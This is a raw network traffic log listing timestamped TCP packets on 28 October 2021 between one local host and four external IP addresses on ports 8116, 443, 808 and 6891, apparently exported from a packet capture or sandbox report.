Oct 28, 2021 04:52:15.748671055 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.801034927 CEST	8116	49919	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:15.872288942 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:15.872347116 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:15.872435093 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:15.873085022 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:15.873101950 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:15.961266994 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:15.961400032 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:15.962136030 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:15.962147951 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:15.967700005 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:15.967711926 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:15.967859030 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:15.967874050 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:16.397871017 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:16.400367022 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:16.401199102 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:16.401232004 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:16.406306028 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:16.406343937 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:16.406434059 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:16.406445980 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:16.672607899 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:16.672708035 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:16.672904015 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:16.676314116 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:16.676345110 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:16.854804993 CEST	49922	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.017942905 CEST	808	49922	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.018297911 CEST	49922	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.019030094 CEST	49922	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.116775990 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:17.116944075 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:17.117033005 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:17.117100000 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:17.125313044 CEST	49921	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:17.125375986 CEST	443	49921	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:17.181788921 CEST	808	49922	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.181843996 CEST	808	49922	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.181956053 CEST	49922	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.182703018 CEST	49922	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.186880112 CEST	49922	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.187043905 CEST	49922	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.320739031 CEST	49923	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.345413923 CEST	808	49922	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.349657059 CEST	808	49922	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.349678040 CEST	808	49922	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.349687099 CEST	808	49922	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.480829954 CEST	808	49923	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.480993032 CEST	49923	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.481710911 CEST	49923	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.642196894 CEST	808	49923	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.642236948 CEST	808	49923	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.642404079 CEST	49923	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.643232107 CEST	49923	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.647886992 CEST	49923	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.648025036 CEST	49923	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.741602898 CEST	808	49922	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.741632938 CEST	808	49922	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.741729021 CEST	49922	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.741766930 CEST	49922	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.744733095 CEST	49922	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:17.803170919 CEST	808	49923	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.807805061 CEST	808	49923	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.807833910 CEST	808	49923	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.807842016 CEST	808	49923	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.807849884 CEST	808	49923	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:17.852747917 CEST	49924	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:17.907720089 CEST	808	49922	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:18.018243074 CEST	6891	49924	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:18.018404961 CEST	49924	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:18.019754887 CEST	49924	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:18.185062885 CEST	6891	49924	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:18.185170889 CEST	6891	49924	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:18.185257912 CEST	49924	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:18.185838938 CEST	49924	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:18.186383963 CEST	808	49923	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:18.186431885 CEST	808	49923	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:18.186491013 CEST	49923	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:18.186512947 CEST	49923	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:18.190011024 CEST	49924	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:18.190130949 CEST	49924	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:18.197401047 CEST	49923	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:18.326106071 CEST	49925	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:18.355454922 CEST	6891	49924	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:18.355493069 CEST	6891	49924	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:18.360434055 CEST	808	49923	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:18.492474079 CEST	6891	49925	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:18.492685080 CEST	49925	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:18.493362904 CEST	49925	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:18.659662008 CEST	6891	49925	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:18.659709930 CEST	6891	49925	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:18.659975052 CEST	49925	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:18.660918951 CEST	49925	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:18.667650938 CEST	49925	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:18.667937040 CEST	49925	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:18.734263897 CEST	6891	49924	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:18.734294891 CEST	6891	49924	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:18.734518051 CEST	49924	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:18.736727953 CEST	49924	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:18.834830999 CEST	6891	49925	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:18.834899902 CEST	6891	49925	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:18.834911108 CEST	6891	49925	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:18.852026939 CEST	49926	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:18.902081013 CEST	6891	49924	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:18.906241894 CEST	8116	49926	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:18.906367064 CEST	49926	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:18.907088995 CEST	49926	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:18.960169077 CEST	8116	49926	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:18.960377932 CEST	8116	49926	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:18.960481882 CEST	49926	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:18.961021900 CEST	49926	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:18.965419054 CEST	49926	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:18.965518951 CEST	49926	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:19.018740892 CEST	8116	49926	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:19.019330025 CEST	8116	49926	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:19.209454060 CEST	8116	49926	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:19.209485054 CEST	8116	49926	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:19.209577084 CEST	49926	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:19.212447882 CEST	49926	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:19.219022036 CEST	6891	49925	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:19.219062090 CEST	6891	49925	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:19.219232082 CEST	49925	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:19.228775024 CEST	49925	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:19.265583038 CEST	8116	49926	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:19.320513964 CEST	49927	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:19.320554972 CEST	443	49927	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:19.320667982 CEST	49927	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:19.321192026 CEST	49927	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:19.321213961 CEST	443	49927	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:19.356708050 CEST	49928	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:19.395184994 CEST	6891	49925	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:19.410526991 CEST	8116	49928	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:19.411082029 CEST	49928	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:19.411719084 CEST	49928	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:19.465071917 CEST	8116	49928	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:19.465305090 CEST	8116	49928	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:19.465377092 CEST	49928	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:19.465905905 CEST	49928	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:19.472177029 CEST	49928	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:19.472282887 CEST	49928	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:19.525650978 CEST	8116	49928	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:19.525927067 CEST	8116	49928	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:19.709876060 CEST	8116	49928	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:19.709911108 CEST	8116	49928	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:19.710031986 CEST	49928	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:19.716964006 CEST	49928	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:19.770602942 CEST	8116	49928	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:19.812479019 CEST	443	49927	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:19.812658072 CEST	49927	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:19.817082882 CEST	49927	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:19.817104101 CEST	443	49927	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:19.817123890 CEST	49927	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:19.817128897 CEST	443	49927	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:19.817198038 CEST	49927	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:19.817209005 CEST	443	49927	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:19.836133957 CEST	49929	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:19.836165905 CEST	443	49929	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:19.836307049 CEST	49929	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:19.836935997 CEST	49929	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:19.836956978 CEST	443	49929	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:20.328252077 CEST	443	49929	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:20.328444958 CEST	49929	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:20.329169989 CEST	49929	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:20.329185009 CEST	443	49929	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:20.334774971 CEST	49929	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:20.334784031 CEST	443	49929	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:20.334909916 CEST	49929	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:20.334922075 CEST	443	49929	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:20.506755114 CEST	443	49927	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:20.506831884 CEST	443	49927	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:20.506983995 CEST	49927	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:20.510303020 CEST	49927	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:20.510340929 CEST	443	49927	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:20.667159081 CEST	49930	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:20.830735922 CEST	808	49930	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:20.830873966 CEST	49930	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:20.831753016 CEST	49930	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:20.995541096 CEST	808	49930	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:20.995708942 CEST	808	49930	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:20.995815039 CEST	49930	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:20.996360064 CEST	49930	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:21.000438929 CEST	49930	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:21.000552893 CEST	49930	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:21.021620989 CEST	443	49929	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:21.021692038 CEST	443	49929	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:21.021765947 CEST	49929	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:21.028980970 CEST	49929	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:21.029011965 CEST	443	49929	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:21.153882980 CEST	49931	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:21.159836054 CEST	808	49930	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.163408041 CEST	808	49930	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.163436890 CEST	808	49930	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.163455009 CEST	808	49930	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.163542032 CEST	808	49930	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.163558006 CEST	808	49930	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.315505981 CEST	808	49931	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.315675020 CEST	49931	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:21.316423893 CEST	49931	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:21.478458881 CEST	808	49931	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.478754997 CEST	808	49931	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.478986979 CEST	49931	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:21.480138063 CEST	49931	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:21.490010023 CEST	49931	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:21.490145922 CEST	49931	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:21.546027899 CEST	808	49930	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.546056032 CEST	808	49930	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.546211004 CEST	49930	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:21.546279907 CEST	49930	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:21.552217960 CEST	49930	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:21.641062975 CEST	808	49931	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.650934935 CEST	808	49931	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.650970936 CEST	808	49931	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.650978088 CEST	808	49931	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.650985956 CEST	808	49931	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.669272900 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:21.715352058 CEST	808	49930	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:21.838656902 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:21.840814114 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:21.895345926 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:22.037950039 CEST	808	49931	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:22.037977934 CEST	808	49931	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:22.038062096 CEST	49931	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:22.053934097 CEST	49931	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:22.061965942 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:22.062000036 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:22.062968016 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:22.063601017 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:22.066418886 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:22.066535950 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:22.175992012 CEST	49933	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:22.215014935 CEST	808	49931	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:22.233144999 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:22.233217001 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:22.270299911 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:22.342459917 CEST	6891	49933	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:22.342828989 CEST	49933	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:22.343344927 CEST	49933	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:22.509551048 CEST	6891	49933	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:22.509618044 CEST	6891	49933	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:22.509762049 CEST	49933	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:22.510415077 CEST	49933	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:22.513170958 CEST	49933	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:22.513248920 CEST	49933	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:22.614031076 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:22.614063025 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:22.614857912 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:22.620168924 CEST	49932	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:22.679524899 CEST	6891	49933	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:22.679554939 CEST	6891	49933	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:22.718170881 CEST	6891	49933	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:22.786509037 CEST	6891	49932	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:23.058679104 CEST	6891	49933	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:23.058713913 CEST	6891	49933	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:23.058851004 CEST	49933	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:23.145045996 CEST	49933	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:23.155651093 CEST	49934	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.203429937 CEST	8116	49934	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.203608036 CEST	49934	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.204561949 CEST	49934	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.258481979 CEST	49935	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.259779930 CEST	8116	49934	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.260134935 CEST	8116	49934	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.260221004 CEST	49934	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.260736942 CEST	49934	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.264255047 CEST	49934	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.264338970 CEST	49934	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.311420918 CEST	6891	49933	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:23.314059019 CEST	8116	49934	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.314126968 CEST	8116	49935	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.314227104 CEST	49935	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.314527035 CEST	8116	49934	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.314815998 CEST	49935	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.368675947 CEST	8116	49935	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.368948936 CEST	8116	49935	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.369023085 CEST	49935	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.381598949 CEST	49935	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.384017944 CEST	49935	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.384100914 CEST	49935	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.437535048 CEST	8116	49935	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.437562943 CEST	8116	49935	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.438225985 CEST	8116	49935	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.485492945 CEST	8116	49934	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.485522985 CEST	8116	49934	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.485574007 CEST	49934	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.485625029 CEST	49934	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.490236044 CEST	49934	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.559834957 CEST	8116	49934	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.604664087 CEST	49936	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:23.604721069 CEST	443	49936	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:23.604825020 CEST	49936	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:23.605669022 CEST	49936	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:23.605690956 CEST	443	49936	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:23.609174967 CEST	8116	49935	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.609209061 CEST	8116	49935	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.609306097 CEST	49935	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.609333992 CEST	49935	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.618891954 CEST	49935	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:23.672770023 CEST	8116	49935	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:23.970684052 CEST	49937	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:23.970772028 CEST	443	49937	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:23.970885992 CEST	49937	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:23.971673012 CEST	49937	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:23.971714020 CEST	443	49937	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:24.097085953 CEST	443	49936	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:24.097173929 CEST	49936	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:24.098086119 CEST	49936	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:24.098124027 CEST	443	49936	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:24.102478027 CEST	49936	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:24.102510929 CEST	443	49936	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:24.102583885 CEST	49936	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:24.102596998 CEST	443	49936	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:24.497169971 CEST	443	49937	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:24.497246981 CEST	49937	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:24.498054028 CEST	49937	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:24.498065948 CEST	443	49937	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:24.503791094 CEST	49937	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:24.503808975 CEST	443	49937	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:24.503978968 CEST	49937	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:24.503985882 CEST	443	49937	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:24.784056902 CEST	443	49936	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:24.784146070 CEST	443	49936	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:24.784420013 CEST	49936	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:24.790827990 CEST	49936	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:24.790875912 CEST	443	49936	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:24.900741100 CEST	49938	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:25.062020063 CEST	808	49938	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:25.062443972 CEST	49938	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:25.062944889 CEST	49938	808	192.168.2.5	143.244.140.214
